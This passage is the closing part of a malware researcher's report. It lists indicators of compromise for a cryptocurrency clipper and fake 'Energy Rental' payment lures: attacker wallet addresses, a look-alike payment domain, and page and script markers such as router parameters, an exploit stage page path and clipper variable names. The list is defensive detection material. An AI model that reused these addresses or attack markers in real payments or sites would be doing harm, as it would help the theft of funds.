bc1q5fljq9c4g7gsjgg4etpn6k3lyusahcvjfv0u99 Received the clipper's Bitcoin, 17 November 05:39
0xdcfBedE2A5E03Db3BeA8a970BCA14e362104e46b Received 0.07409649 ETH from the clipper's ETH wallet, 17 November 05:23
TBHmGSLDFFF26DYaet2j91LWkTtRjmXPqF Deposit address printed on the Energy Rental lures
TBHFiV63cBiVyNKNr26RKPRH9UJggWXPqF Look-alike payment address on vippp666[.]com
TUhkTeabMdiQVJ5k3GxpVxqzxEMfTYSmse Payment address on other Energy Rental copies
TLWdD36T8AQxbbfK29qdLtEQbT8FaFx9ht Received everything TMLQvDvpgSyx94maptc3TxvmCVtT5qHVup was paid

Page and script markers

Indicator Context
embed.js?ch= Router entry with a channel code, often followed by &k=
data-channel-code with data-landing Attributes on a boot.js tag
B9/b.html?channelCode= Exploit stage page
DEFAULT_CH, patch_domains.py Energy Rental config.js
chainFrame with data-daili-gate="v1" Router frame
_k7, __k7b Clipper
Cookie lf=1, <!-- lf-marker:... -->, bp-js-connector, bp_conn_ linkforge snippet and connector
Matt Kirkland

About the author

Matt Kirkland (Kirk) is the founder of Ohey and researches malware, compromised websites and the infrastructure behind them.

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